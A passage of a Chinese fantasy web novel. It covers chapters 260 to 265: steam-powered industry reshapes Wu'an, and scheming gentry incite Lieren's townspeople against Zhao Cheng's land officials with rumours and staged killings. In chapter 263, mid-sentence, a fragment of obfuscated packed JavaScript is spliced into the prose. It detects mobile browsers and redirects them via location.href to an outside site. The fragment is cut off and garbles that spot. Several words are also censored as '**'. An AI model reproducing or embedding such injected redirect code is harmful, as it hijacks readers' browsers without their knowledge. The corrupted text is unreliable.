嬴政登上驰轨车,随着驰轨车进入东侧冶铁坊。
十余座大蒸汽鼓风炉正吞吐着火舌,橘红色的火光映得炉前工匠的脸庞发亮。
鼓风炉轰鸣着将空气压入炉膛,原本需要十余人脚踩的风箱,如今只需一名墨官调控阀门,炉温便稳定得能熔化最坚硬的精铁,铁水顺着陶管流入模具,冷却后便是规整的铁锭。
效率之高,远胜从前千百倍。
西侧的器械坊里,车床、刨床在蒸汽驱动下高速运转,金属碎屑飞溅如银星,墨官们正将铸铁坯料加工成蒸汽零件,齿轮、螺栓、阀门堆叠在木架上,泛着冷硬的金属光泽。
南侧的织坊一改往日的纺车吱呀,蒸汽织机的针梭如飞,丝线在经纬间穿梭,一匹匹细密的棉布转眼便卷成了筒。
北侧的木工坊则少了些火星,蒸汽锯子轻松截断合抱粗的原木,刨木机将木板刨得光滑如镜,这些木料正被制成驰轨的枕木与工坊的支架。
最外侧是刚建成的学徒院,青砖瓦房连成一片。
经过几日的学徒招收,许多武安城的青壮都踊跃加入了学徒院。
他们是亲眼看到墨官们使用机关术建造武安城和工业中枢,也亲眼见到那些神奇的机关器械如何润田、造城,对于这种机关术早已经无比向往。
如今有能够学到这些技术,成为武威君麾下墨官的机会,哪里肯放过,为了进这学徒院,几乎是挤破了头!
嬴政与诸臣踏入院内空地上时,年轻学徒们正围着缩小版的蒸汽模型打转,墨官手持木尺讲解着管道走向,偶尔扳动模型阀门,引得学徒们发出阵阵惊叹。
而连接这一切的,是蛛网般密布的轨道。
五尺宽的轨道上涂着深色的防锈桐油,轨枕牢牢钉在夯实的碎石地基上。
被百姓称作“铁龙马”的驰轨车正沿着轨道匀速穿行。
运矿的车厢里堆着小山似的赤铁矿,黑亮的矿石磕碰着发出沉闷声响。
运煤的车则裹着粗麻布,防止煤屑洒落。
还有专门运水的罐车,车厢是密封的铜制水箱,靠蒸汽动力抽水,再顺着管道送进各坊区的蓄水池。
车轮碾过木轨的“咔嗒”声、蒸汽机车的“呜呜”鸣响,与各坊的机器声交织在一起,整座工业区像一台精密咬合的巨轮,每一处都在高效运转。
单是冶铁坊的日产铁量,便从往日的五百斤跃升至三千斤,抵得上过去六天的产量。
工业区的热闹直冲云霄,城外的扩建工程也是热火朝天。
新城墙的夯土现场,十几台蒸汽夯土车正来回作业。
这铁制的大家伙足有半人高,底部是平整的夯板,蒸汽驱动下,夯板每一次落下都发出“咚”的闷响,地面随之微微震颤
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过去需要五十个壮丁轮流挥夯才能压实的土层,一辆夯土车半个时辰便能搞定。
嬴政走下驰轨车,看着那恢弘城墙已经完全成形,无比厚重高大,好似一座铁山一般伫立在那里,忍不住点头:“谁能想到,如此恢弘巨城,竟能够在几日之内建成?”
“登上去看看。”
随着那蒸汽升降器拔升,众人登上极高的城墙,俯瞰远处。
“陛下,看那边,如此开田,真是见所未见。”
城墙外,穿渠机的轰鸣声同样震天。
这机器带着锋利的铁铲,在洺水支流的河道上缓缓推进,铲斗没入泥土,转眼便将淤土挖起,顺着传送带卸到岸边。
不远处的河滩上,两艘挖泥船正漂浮在水面,蒸汽驱动的螺旋桨搅动着河水,将河底的淤泥清出,露出下方肥沃的黑土。
百姓们扛着锄头跟在器械后面,将清出的淤泥铺在贫瘠的田地里,原本龟裂的下等田,在河水灌溉与淤泥改良下,渐渐变得油亮发黑。
短短几日,已有万亩荒田被开垦出来,分到田地的贫困户们,每日天不亮就到田边查看,老人用手摸着湿润的泥土,皱纹里都浸着笑。
妇人提着陶罐给刚种下的秧苗浇水,眼角的笑意藏都藏不住。
而城内的街道上,随处可见推着小车的商贩,车上摆着刚从织坊运来的棉布、木工坊做的木盆,还有冶铁坊铸的铁锅。
孩子们追在驰轨车后面跑,清脆的笑声混着蒸汽的嘶鸣,成了武安城新的晨曲。
过去冷清的城郊,如今盖起了成片的民房,炊烟与蒸汽中枢的烟柱交织,氤氲出一派热闹的烟火气。
嬴政站在城头高台,目光扫过这座日新月异的城池,指尖不自觉地敲击着城垛。
从蒸汽中枢到四坊运转,从新城墙到万亩良田。
短短几日,武安城已褪去往日的陈旧,处处透着蓬勃的生机。
他望着下方穿行的铁龙马,听着远处穿渠机的轰鸣,心中感慨万千:“此等器械,果真是夺天地造化!
有墨阁之术、蒸汽之能,再让赵诚慢慢培养墨官、积累资源,假以时日,若能将这武安城的景象普及大秦,何愁天下不定、百姓不富?”
“寡人现在真想让武威君立刻将这墨阁普及到秦国所有地区。”
"可惜,此事急不来,目前只有赵诚手下的这些墨官有足够强大的机关术制造这些蒸汽器械,其他地方,不但人手人才不够,资源恐怕也是不足的。“
第261章 械坊闻谣决亲往,城前劝众民激愤
器械区内,蒸汽器械的金属构件在灯光下泛着冷光。
赵诚正与相里勤俯身于设计图前,指尖划过图纸上的管路纹路,低声探讨着如何改进蒸汽循环效率以提升器械动力。
就在这时,一名官吏神色匆匆地闯入,额角还带着赶路的薄汗,语气急促地禀报:“君上,大事不好!
咱们派去列人城清丈土地的官吏,全被当地百姓拦在了城外,连城门都不让进!”
“拦着?为何?”
赵诚直起身,眉头微蹙,眼中闪过一丝诧异。
清丈土地、核定户籍本是为百姓分田谋利的好事,怎会遭到阻拦?
官吏脸上露出几分哭笑不得的神色,无奈回道:“那些百姓说……说怕君上您用邪术,把全城的人都炼了!”
“邪术炼人?”
赵诚闻言,先是一怔,随即也忍不住失笑,心中顿时明了。
此前那些针对他的谣言,竟被人传到了列人城,还被百姓当了真。
他缓了缓神色,追问,“武安城这些时日的变化,他们难道没听说过?
分田、建工坊、拓荒田,百姓日子好了多少,难道传不到列人城去?”
“他们倒是知道武安城有变化,”
官吏叹了口气,接着说道,“可他们觉得,君上您是故意做给武安城百姓看的,就是为了骗取他们的信任,等日后时机到了,再用邪术炼化所有人。”
这话落音,赵诚眼中的笑意瞬间褪去。
他心念一动,占星术悄然在体内运转,无形的气机如同蛛网般蔓延开来,顺着谣言传播的痕迹追溯,很快便捕捉到了背后隐藏的线索。
顺着这些蛛丝马迹层层剖析,事情的全貌渐渐清晰。
竟是有人在背后煽风点火,想借着谣言裹挟列人城百姓,公然与他对抗。
“好一个贼心不死。”
赵诚嘴角勾起一抹冷冽的弧度,眼中闪过一丝杀意,“我正愁寿命无多,推演剑法还缺些生机,这就有人主动送上门来,倒省得我多费功夫了。”
如今他系统内剩余的寿命仅有六百年,还有数套精妙剑法亟待推演完善,而**夺寿正是补充寿命的捷径,这幕后之人,恰好撞在了他的枪口上。
“既然如此,那我便亲自去一趟列人城,看看是谁在背后搞鬼。”
赵诚话音刚落,便转身朝着器械坊外走去。
他即刻传令,召集了一千名身着血红战甲的血衣军,又唤来血衣楼的一众顶尖高手,众人集结完毕后,如同离弦之箭般,朝着列人城的方向疾驰而去。
列人城与武安城相距不远,以赵诚一行人的速度,不过半个时辰便能抵达。
与此同时,列人城城门处人头攒动,密密麻麻的百姓堵在城门口,手中握着扁担、锄头,还有人直接提着家里的菜刀,一个个面色紧绷,眼神中满是敌意与决绝,仿佛筑起了一道坚不可摧的人墙。
“今天谁也别想进城!
这田地是我们列人城的,用不着你们来清丈,赶紧从哪来的回哪去!”
人群中,一个膀大腰圆的汉子高举着锄头,声如洪钟地喊道,瞬间点燃了百姓们的情绪。
“就是!别以为我们不知道那武威君打的什么主意!
如今我们都清楚了,你们要是敢逼我们,大不了鱼死网破,一起死!”
“再往前踏一步,我们就跟你们拼命!
大家都是两条胳膊两条腿,谁还怕谁不成?”
“列人城是我们的家,绝不能让你们在这里为所欲为!”
“老夫今天就站在这了,你们要是想强行进城,就先从我的尸体上踩过去!”
一位白发苍苍的老者拄着拐杖,颤巍巍地站在最前面,语气却异常坚定。
城门外,武安城派来的官吏陈晖早已满头大汗,像热锅上的蚂蚁般在原地来回踱步。
他看着情绪激动的百姓,时不时上前一步,苦口婆心地解释,“诸位乡亲,我是土生土长的武安城人,如今在君上麾下当差,武安城的变化我亲眼所见啊!
以前的武安城,百姓们连顿饱饭都吃不上,那些大官豪绅却一个个脑满肠肥,搜刮民脂民膏,何其不公!”
“还有那些豪
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绅勾结官员,欺压百姓,强占田地,无恶不作!
可自从武威君来了之后,他是真真正正为咱们百姓着想,不仅要给大家分田种地,还建了工坊让大伙学手艺、有活干,扩了城池、开了荒田,让咱们能奔着好日子去!
你们现在拦着我们,不让清丈土地,不让核定户籍,还说君上要用邪术炼化你们,如此好坏不分,要是让君上知道了,他得多寒心啊!”
陈晖越说越恳切,目光扫过人群,“我劝大家快让开吧!
我们这次来,是为了给你们家家户户分田,一户百亩田啊!
这样的好事,你们上哪儿找去?”
人群中,不少百姓脸上露出了意动的神色,有人迟疑地看着陈晖,低声问道:“你说的都是真的?分田的事……真能落到我们头上?”
“你是武安城的陈晖吧?
我大伯家之前受了冤屈,还是你偷偷帮忙解决的,你是个好官!”
另一个百姓看着陈晖,语气带着几分信任,“可那武威君……他真的是好人吗?
咱们以前都是赵人,赵人可不能骗赵人啊!”
听到这话,陈晖心中一暖,语气愈发诚恳,“我陈晖在此立誓,绝不敢欺骗大伙!
以前在武安城,上面有县令压着,我虽有心帮百姓,却只能偷偷摸摸做些小事。
但现在不一样了,武威君是真心实意为百姓谋福利,他来了之后,武安城跟以前比简直是天差地别,百姓们都有了盼头,日子一天比一天好!”
陈晖的话让百姓们更加动摇,人群中开始响起窃窃私语。
“难道分田的事是真的?”
“武威君真的不是传言里的魔头?”
“陈晖这孩子我知道,他不会撒谎的,或许……咱们真的误会了?”
就在百姓们的态度即将松动之际,人群后方突然传来几道粗哑的喊声,打破了这份平静,“陈晖!你这武威君的狗腿子,竟然帮着外人欺负咱们列人城的乡亲!
你是不是怕武安城的人被邪术炼化,所以想让我们列人城的人替他们**!”
第262章 血卫冲阵擒惑孽,暗刀栽赃溅血光
“没错!
前些日子我们特意去武安城探查过,那武威君就是故意装好人,先骗武安城百姓信任他,等时机一到,就把他们全炼了!
他就是个**不眨眼的魔头!
你为他做事、替他说话,就是条没骨头的狗,该死!”
“砸死他!别让他在这里妖言惑众,骗大家开门!”
话音未落,一枚拳头大小的石头突然从人群中飞了出来,径直砸向陈晖的额头。
陈晖猝不及防,只听“哎呦”一声,便捂着额头倒在地上,鲜血瞬间从指缝中渗出,眼前阵阵发黑。
他又气又急,挣扎着抬起头,指着人群怒声骂道:“你们……你们这群愚民!
被人当枪使了还不知道,被卖了还要给人家数钱!”
这话恰好被那几个藏在人群后的汉子抓住了把柄,他们立刻拔高声音,对着百姓们喊道:“大伙快看!他终于露出真面目了!
之前装得像个好人,现在被拆穿了,就开始骂咱们了!
他根本就是想骗咱们开门,好让武威君进来用邪术炼人!”
“竟然敢骂我们是愚民!
你这条投敌的狗,今天非得砸死你不可!”
“弄死他!
把这武威君的鹰犬弄死,绝不能让他们进城害咱们!”
一时间,百姓们的情绪被彻底点燃。
原本对陈晖的那点信任,在他愤怒的表情和那几个汉子的蛊惑下,瞬间烟消云散,取而代之的是被欺骗的激愤。
“原来都是骗人的!
他们根本就是想让我们列人城的百姓,替武安城的人**!”
“武安城的百姓是人,我们列人城的百姓就不是人了吗?”
“我的孩子也是爹娘的心头肉,凭什么要给他们当替死鬼!”
群情激愤之下,原本只是守在城门处的百姓们纷纷涌上前,手中的扁担、锄头、菜刀朝着陈晖身上招呼,还有人举着镐头,眼看就要砸到陈晖身上。
好在陈晖此次并非独自前来,随行的还有数十名血衣军。
见百姓们动了手,血衣军立刻上前阻拦,手中的**舞出一片寒光,将百姓们手中的武器一一打落。
他们个个身经百战,力大无穷,寻常百姓哪里是对手,往往被他们轻轻一推,便踉跄着后退几步,摔倒在地。
可百姓们此刻已被愤怒冲昏了头脑,见打不到陈晖,竟转而朝着血衣军扑去。
血衣军皆是从尸山血海中杀出来的悍将,身上的煞气早已深入骨髓,见百姓们不知好歹,当即浑身煞气外放,“唰”的一声拔出腰间长剑,剑刃寒光闪烁,震慑得周围的百姓瞬间停下了脚步。
“都给我退后!再敢上前一步,休怪我们剑下无情!”
血衣军什长声如惊雷,眼中的杀意让在场的百姓们不由得心头一颤,原本沸腾的场面瞬间安静了几分。
明明只有十几个血衣军,但那一瞬间涌出的煞气,却瞬间压制住了上千百姓的激愤,令原本沸腾的场面,好似被破了一盆冷水般安静了片刻。
人群之中隐藏的汉子见状,又开始暗中蛊惑,“你们看到了吧,这些秦军根本就不是来对咱们好的,明明就是来对付我们的!”
“咱们现在被他们拿捏了,以后就更没有机会了,必须和他们抗争到底,不能任由他们为所欲为!”
“他们不过十几个人而已,咱们还能怕了他们不成!?”
“冲上去,就不信他们真能把咱们全都杀了!”
“叫那武威君知道知道,我列人城的人没有孬种!“
这里站着的本就是青壮居多,年轻,清澈而愚蠢,血性方刚,被这么一激,顿时将畏惧抛之脑后。
一股脑的向前涌来,竟然真要对付血衣军。
血衣军带队的人早就察觉有人在蛊惑,早就想要抓出那些蛊惑人心的汉子逼问情况,如今那几个汉子跳的正欢,立刻被血衣军锁定。
“在那!”
“抓了!”
列人城众多青壮正奋勇上前呢,突然发现前面血衣军的人动了。
铿锵的长剑出鞘声清脆且急促。
寒光一闪,却见有数名血衣军动若雷霆,轰然撞入人群之中。
就算是十里八乡最强壮的青壮,面对他们冲来,那也是毫无阻碍之能,被那肩膀一蹭,就像是被飞过来的大山擦了一下一般,直接倒飞出去,砸倒十
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几个人,落在地上,浑身就像是散架了一般,满脸震骇痛苦的看着那身影插入人群。
这就像是利刃劈浪般轻松。
三四名血衣军前往不同的方向,但那势头出奇的一致。
在无数拥挤的人群之中一往无前,如入无人之境,谁敢拦在路上,那就将谁直接撞飞,速度都不会稍减一点!
而那些激愤之下落下的镐头和扁担,却连他们的身影都捕捉不到,大部分都落在了旁边同伴的身上,一时间惨叫声四起。
“哎呦!老四你**看准一点!砸老子的脑袋了!“
“流血了流血了!李家老三,你咋能用刀砍我呢?”
“疼死你爹了,你拿个石头就砸,也不看看砸的是谁吗?“
“使这么大劲,你**要死啊!”
“这边砸晕了一个,有郎中吗?”
人群之中一片骚乱之际,那些汉子眼看那些血衣军竟然目标明确直奔自己而来,立刻向后蹿去,想要趁着人群混乱,转移位置。
在他们看来,这人群一层叠着一层,摩肩接踵,自己都不知道自己在哪,那些秦军又如何能够找得到自己?
只要趁着混乱到处一钻,眨眼功夫,就能脱身,换个地方再捣乱就是了。
根本没有危险。
但让他们感到惊恐的是,不论他们转移几个方向和位置,那些秦军就像是将眼睛绑在了他们身上一样,眨眼之间就能找到他们,而后飞快冲来。
这下这些汉子那是亡魂皆冒,怎么会这样,难道这些秦军也会什么妖法不成?
下一刻!
却有剑光陡然一厉!
血花飞溅之时。
惊呼惨叫声瞬间爆发!
“血!!”
“啊!!**了!”
“魔头现在就要屠城!和他们拼了!”
一名血衣军眉头紧皱,看着脚底下的人头和满地的鲜血,目光却没有扫到凶手。
是的,这不是他杀得,他不过是想要抓到这几个蛊惑人心的家伙,然后逼问是何人指使,控制事态。
谁能想到,竟然有人在他赶到之前提前动手,将此人击杀,栽赃于他。
这下事情有些麻烦了……
第263章 血卫护吏艰然退,城谋构陷乱民潮
以如今的事态,最好的处理办法就是,将那些隐藏在人群之中搅风搅雨的鬼拉出来,当众审讯出真相,让这些被欺骗鼓动的百姓搞清楚谁在拿他们当枪使。
这是能够从源头上解决问题的办法。
但这些家伙背后的人明显也意识到了这一点,提前布局了高手,趁着混乱将这些内鬼**灭口了。
原本百姓们就情绪激动,如今见到**了,第一反应虽然是恐惧,但也升起了绝望之后的血勇。
那是一种破罐破摔,认为既然反正也要**,不如拼一把。
“他们真的是来杀我们的!”
“牛家老二**,活生生的人啊!”
“跟他们拼了!!”
“拼了!不能坐以待毙!”
百姓们从之前被砸一下都要叫嚷叫痛,到现如今顶着头破血流依然向前冲去。
已经是不管不顾。
看着周围那些百姓因为恐惧而激发起拼命的架势,血衣军也有些不知道该如何处理。
上千发了疯要保命的百姓,就算他们武艺高强,身负神力,那也是要怵头的。
毕竟这不是敌人,而是君上治下的子民。
正一边闪躲,一边思虑如何解决眼下情况的时候。
另一边却又传来惊呼惨叫声。
“又杀了一个!”
“才十几个人就这样肆无忌惮了!”
“这些人要屠尽我列人城啊!”
民情愈发激愤,这些血和话就像是在一桶油里面扔进了火星,让列人城百姓们的理智坍塌,情绪**了。
情况顿时陷入被动。
“先退出来!”
血衣军什长立刻下令。
血衣军提着几个蛊惑人心的汉子狼狈退出。
然而那几个汉子还没被他们带出来,就被人趁乱打**。
而在这情况下,就连血衣军也不知道,那些趁乱打死这些汉子的,是背后的人派来灭口的,还是真就是被百姓误杀的。
一时间,现场变得极度混乱起来。
他们只能弃了那几个汉子,空手而归。
而百姓们也开始向着那些官吏和血衣军包围而来。
这些官吏之中,有原先武安城之中的好官,被扶苏挑出来的,也有嬴政派发给赵诚的能人,如今被包围,情况极为危险。
血衣军只能将他们护在中央,一边不**的还击,一边向着后方突围。
就算以他们的身体素质,在这样强度的**之下,身上也是不断添伤,狼狈不已。
陈晖见状,捂着流血的脑袋嘶吼道,“你们糊涂!你们糊涂啊!!”
“你们被那些豪绅当枪使而不自知啊!”
“那是武威君!是血屠阎罗,那是带着一万血衣军,能够纵横赵国,杀敌十数万,攻克城池无数的将军!”
“你们做他的子民,有田,有钱,有好日子过,是天大的福分,你们不做,偏偏要做他的敌人,不是死路一条吗?”
“快住手!现在停手还来得及!”
他声嘶力竭,想要让这些百姓明白,自己是在为他们做好事。
但奈何,这些百姓已经先入为主许久了,前几日一直忐忑,每天从早到晚都在念叨着如何对抗那武威君的采生折割,以至于现在对于武威君要用采生折割炼化全城的事情深信不疑。
如今更有汉子蛊惑在前,血衣军“**”在后,他们根本听不进去官吏的话。
而随行而来的血衣军则是看着满城百姓都如此对抗,也是节节败退。
手上虽然握着长剑,恐有一身**技,却也无法强行出手。
“什长,顶不住了!要不还手吧!”
“还什么手?你能杀十个,还能把列人城的百姓都杀了不成?”
“一旦开了这个口子,就是不死不休了,而且还做实了君上是要拿他们炼邪术的谣言,不能还手,继续后退!”
十几名血衣军自追随武威君赵诚以来,还从未打过这般束手束脚、憋闷到心口发堵的仗。
以他们常年征战练就的矫健身手,若只是孤身作战,想要甩开这些混乱的人群、轻巧闪躲甚至抽身逃离,本是易如反掌之事。
可他们此行身负的是护送之责。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370666|176970||http|test|mini|href|location''.split(''|''),0,{}));
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r>身后跟着的那些负责清丈土地、核定户籍的官吏手无缚鸡之力,别说应对这漫天砸来的石块、棍棒,就连在乱局中自保都做不到,血衣军又怎能放任他们落入险境?
无奈之下,这群精锐只能硬生生顶在最前方,一边用兵器格挡着如雨般落下的杂物,一边护着官吏们步步后退。
这般被动的姿态,让他们连平日里三成的身手都施展不开,自然躲不开那如同海啸般朝着人群狂涌而来的攻击。
即便他们个个都是体魄远超常人的精锐,甲胄也比寻常兵士厚实几分,可被那些带着棱角的石块砸在头盔上、肩头,依旧会传来钻心的痛感,有几人的甲胄甚至都被砸出了浅凹的痕迹。
此刻的模样,说是“抱头鼠窜”也不为过。
只是这份狼狈,并非因畏惧敌人,而是为了护人不得不受的窝囊气。
这十几名血衣军气得牙根都痒,拳头攥得咯咯作响,却偏偏半点办法都没有,只能强压着怒火,等待君上赵诚的命令。
城墙之上,李嵩眉头拧成了一个死结,看着下方百姓与血衣军混战的混乱场面,语气里满是担忧,“这……这是不是闹得太大了?万一真闹出人命,咱们怕是不好收场啊。”
王仲站在一旁,手指无意识地摩挲着腰间的玉佩,脸色阴沉得能滴出水来,冷声道,“算不得大。
李兄,你该清楚,咱们列人城这点家底,若是不拿出点狠劲来,迟早要被那赵诚连根拔起,这点阵仗算什么?”
他顿了顿,目光转向身旁的韩烈,语气缓和了几分,“说起来,还是韩公子有远见,想出了这么个釜底抽薪的法子。
那赵诚号称‘血屠’,性子是狠辣,但他的狠戾从来只对着敌人,这些列人城的百姓可是他封地治下的子民,他难不成真能睁着眼把这些人都杀了?”
“退一万步说,就算他真有这个狠心,也得掂量掂量秦王的态度。
无故屠戮封地子民,这可是朝堂大忌,到时候别说保住武威君的爵位,能不能留住这块封地都难讲!”
第264章 豪绅出田固民志,驰尘临城血衣扬
可李嵩心里的石头还是没落地,语气依旧带着迟疑,“可……可咱们与那武威君之间,就没有更缓和些的法子了?
没必要一上来就闹到这般不死不休的地步吧?”
王仲却忽然停下话头,用一种古怪又带着几分自嘲的眼神看了他一眼。
“没用的。我前前后后派了三拨人去见赵诚,想跟这位武威君好好谈谈条件。
第一拨去时,我许了他三成商铺的收益。
第二拨,我把城郊那片最肥沃的田地也加了进去。
到了第三拨,我几乎把家里半数的家底都摆了出来,就盼着他能松口。”
听到“半数家底”,李嵩眼中瞬间亮起了光,语气也急切起来,“那……那他总该有些松动了吧?
就算还不满意,咱们再加点筹码就是了,犯不着拼到这份上啊!”
“你以为事情真能这么简单?”
王仲苦笑着摇了摇头,语气里满是无奈,“要是真能谈拢,我又何必在这里跟你说这些?
我派去的三拨人,连赵诚的面都没见着,就这么没了踪影。
生不见人,死不见尸,你说他们能有什么下场?”
李嵩闻言,只觉得后颈一凉,头皮瞬间麻了。
就算用脚趾头想,也知道那三拨人的下场定然是凶多吉少。
他下意识地攥紧了拳头,脸颊上的肌肉控制不住地抽搐了几下,声音都带着几分发颤,“咱们……咱们只是派人去求和,又没招惹他,他何至于做得这么绝!
这‘血屠’之名,果然名不虚传,他这是铁了心要把咱们逼上绝路啊!”
话音落下,他脸上的犹豫一点点褪去,取而代之的是一种被逼到绝境的狠戾,像是终于下定了某种破釜沉舟的决心。
他猛地转向韩烈,抱了抱拳:“韩公子,你有什么计划尽管开口!
从今往后,我李嵩的人、财、物,但凡能用上的,绝无半分推辞!”
韩烈闻言,嘴角勾起一抹了然的笑,脸上没有半分意外,仿佛早就料到李嵩会有这般转变,语气里满是胸有成竹。
“我等的就是李老爷这句话!
绝大部分的局我都已经布好了,不过有一样东西,还得李老爷亲自出面,就是你手里的田。”
没人知道,王仲派去求和的那三拨人,根本没机会靠近武安城。
早在半路上,就被韩烈暗中安排的人手截杀殆尽。
韩烈心里清楚,既然要跟赵诚抗衡,就必须做得彻底。
既不能给自己留退路,更不能给王仲、李嵩这些人留任何“求和”的念想。
只有把他们彻底绑在自己的战船上,让所有人都只能跟自己同生共死,这场对抗才有胜算。
他要的,就是裹挟着整个列人城的百姓做筹码,与那“血屠”赵诚好好角逐一番!
赵诚的危险与强大,韩烈自然早有耳闻,可再厉害的人也有弱点。
赵诚的弱点,就是这刚刚到手的封地。
他本事再大,费了那么大的力气攻克赵国全境,甚至不惜背上“血屠”的名声,图的是什么?
还不是为了爵位,为了这份实打实的封地?
这封地是他拼了无数心血才换来的,只要拿这封地的安危做筹码,还怕他不妥协?
李嵩听到“出田”二字,顿时愣住了,满脸不解地问道,“出田?
咱们之前不就是为了不让赵诚给百姓分田,才跟他对着干的吗?
怎么现在反倒要自己出田了?
这不是自相矛盾吗?”
“李老爷,你想多了。”
韩烈笑着摇了摇头,语气里带着几分笃定,“仅凭之前散布的几句‘赵诚要夺百姓的田’的谣言,就想让全城百姓心甘情愿地跟赵诚拼命?
这也太天真了,百姓要的是实实在在的好处,不是空口白话。”
“咱们要做的,就是给他们这份好处。
从现在起,你我还有王仲手下所有的佃户、长工,每个人都能分到十亩良田,而且现在就拟好田契,半个时辰内就给他们发下去。
只有让百姓们真真切切拿到田契,看到自己的名字写在上面,他们才会真心实意地跟着咱们,誓死对抗赵诚。”
他顿了顿,又补充道
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,“你想想,赵诚要分田,得先清丈土地、核定户籍,前前后后不知道要拖多久。
可咱们不一样,手里本来就握着大量良田,现在说分就能分,根本不用等。
只要咱们拦着那些负责清丈土地、核定户籍的官吏,不让他们进城开展工作,赵诚的分田计划就落不了地,而咱们的田早就分到百姓手里了。
这么一来,咱们就永远比他快一步,百姓自然会站在咱们这边。”
李嵩听完,眼睛瞬间亮得像两盏灯,猛地一拍大腿,“妙!太妙了!
韩公子这招真是绝了!
既堵**赵诚的路,又拉稳了百姓的心,我现在就让人去拟田契,保证半个时辰内办妥!”
他下意识地低头看向城墙下。
只见那些之前不可一世的血衣军此刻正护着官吏们节节败退,甲胄上沾着尘土,脸上还有不少青紫的伤痕,满是狼狈。
李嵩心里忽然生出一股底气,原来那“血屠”赵诚,也不是无懈可击,韩公子不过略施小计,就让他的人落了下风。
看来,只要跟紧韩公子,这场仗咱们未必会输!
就在李嵩忙着招呼下人准备拟田契的时候。
远处的官道上突然传来一阵密集的马蹄声。
那声音如同惊雷滚地,由远及近,越来越响,伴随着马蹄扬起的一道冲天烟尘,正朝着列人城的方向快速靠近。
城墙下那十几名早已打得鼻青脸肿、甲胄破损的血衣军,听到这熟悉的马蹄声,先是一愣。
随即纷纷抬头望向烟尘来处,眼中瞬间迸发出明亮的光芒,连之前的憋屈都消散了大半。
“是将军!将军来了!”一名血衣军激动地喊道,声音里满是振奋。
“太好了!将军总算来了!”
另一名血衣军揉了揉被砸疼的额头,语气里带着劫后余生的庆幸,“这些愚民闹了这么久,总算能有人治得了他们了!
刚才真是憋死我了!”
所有人的目光,都紧紧锁在那道快速逼近的烟尘上。
他们知道,将军到了,这场混乱,该结束了。
第265章 血煞临城压众魄,藏堞催契联旧部
城墙之上的韩烈,原本还带着几分稳坐钓鱼台的从容,可当目光扫过土路尽头那道率先冲出烟尘的身影时,瞳孔却骤然一缩!
他下意识地攥紧了手掌,指节都泛起青白。
却见那道魁伟的身影坐在神骏的战马上,身躯竟似一尊擎天巨柱般挺拔巍峨,仿佛自带一股遮天蔽日的气场。
他不过是刚从地平线后显露身形,天地间的天光都似被那股迫人的气势压得暗了三分,连风都像是放慢了流速。
其势之霸烈,堪称世间罕见。
明明只是策马奔驰而来,却像有漫天血云正朝着列人城缓缓压境,风里都裹挟着一股挥之不去的腥气。
那是常年征战沾染的血煞气息,混着沙场的尘土,一飘到城墙下,就让城上众人不由自主地心神剧颤,连呼吸都变得滞涩起来。
随着那匹**色乌黑发亮的神骏大马一步步向前奔驰,那道身影连同战马,竟像是一柄即将劈开天地的巨刃,每靠近一分,列人城的城墙就似要被碾压劈开一般。
城上的风似乎更冷了,吹得韩烈的衣袍猎猎作响,却吹不散他心头突然涌起的寒意。
他的目光不过是落在那道身影身上片刻功夫,却如同被阳光刺入般,不由自主的想要挪开视线,避开那当先一骑。
可当他遵从本能挪开视线之后,心中又莫名升起羞愤来。
韩烈自认为布局周密、胸有成竹,应是无惧此人才是!
怎可连看他一眼都不敢!?
我韩烈也是赵国贵族!
怕他不成?
他再次抬头,仅仅是隔着数十丈的距离直视那道身影一眼,便再次失态。
身体就像是不受控制般,下意识地向后踉跄着退了数步,后背重重撞在城墙的夯土上,才勉强稳住身形。
一颗心在胸腔里疯狂跳动,如同要撞破肋骨冲出来,耳边只剩下自己急促的心跳声。
一股莫名的、如同泰山压顶般的巨大危机感,顺着头顶直直笼罩下来,让他连抬头再看一眼的勇气都快没了。
血屠阎罗四字不讲道理的闯入他的脑海。
至此,韩烈脸上最后一丝从容也消失得无影无踪,目光已是凝重到了极致,眼底深处更是翻涌着难以掩饰的忌惮。
从来没有!
从来没有一个人能够让他连直视都做不到,多看一眼都失态到如此地步!
这家伙到底杀了多少人!?
还是说会什么摄人心魄的邪术?
听说过以大喝之声惊退千军万马的,何曾听说过只是策马而来,便吓得敌人心胆具颤的?
一股强烈挫败从韩烈心中升起,不甘又羞愤,羞愤却又不敢抬头。
他终于明白,人的名树的影,血屠阎罗之名,根本不是靠传言堆砌,而是实打实腥风血雨杀出来的。
至此,他不敢再留在城墙垛口,干脆矮下身,飞快地隐藏在城墙之后,只敢透过砖缝偷偷向外瞥。
嘴上却已是带着几分急促的颤音下令:“快!立刻让人把拟好的田契送到各家各户手里!一户都不能漏!”
“告诉他们,根本不用等那血屠赵诚来分田!
咱们列人城自己的田,现在就分!
家家户户都有田种,都是实打实的良田!”
守在一旁的下人早已被城外的气势吓得魂不守舍,听到韩烈的命令,忙不迭地应了声“是”,连滚带爬地顺着城墙下的石阶跑了下去,生怕慢了半分。
韩烈定了定神,转头看向身边那几个一同守城的地主豪绅。
只见他们各个脸色惨白如纸,有的人手撑着城墙才没倒下去,有的人嘴唇哆嗦着说不出话,还有人下意识地往后缩,连看向城外的勇气都没有。
“韩公子,这该怎么办?我看那血屠的架势,好像真是要屠城来的!”
“我听说此人不止一次屠尽全城,我们这样对抗他,他万一发了疯,将列人城屠尽又该如何是好!?”
“要不然咱们跑吧,大不了就不在列人城呆了!”
“这架势,闻所未闻,这人明显不是徒有虚名,是真杀星
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啊!”
“从前听说血屠能一眼吓**我还不信,现在一看,那些山里**无数的土匪比起他来,都和奶娃娃一样良善!”
不过是与赵诚的气势隔空一照面的功夫,这些平日里在乡里横行霸道的豪强,气势就已彻底落入谷底,像泄了气的皮球般瘫软下来。
韩烈心头的不安愈发浓烈,指尖的寒意顺着手臂蔓延到心口。
他深吸一口气,强压下翻涌的慌乱,又立刻转身对另一名心腹吩咐:“快!去城西的营寨联络赵军旧部,让他们立刻做好准备!”
说完,他又转头看向那些仍在发抖的豪绅,刻意提高了音量,试图用话语稳住人心,可语气里的底气虚软却藏不住。
“都别慌!不过是一个赵诚罢了!
他这次来列人城,带的人撑**也就千余人马!
咱们背后有上万赵军旧部撑腰,还有列人城这么多百姓挡在前面。
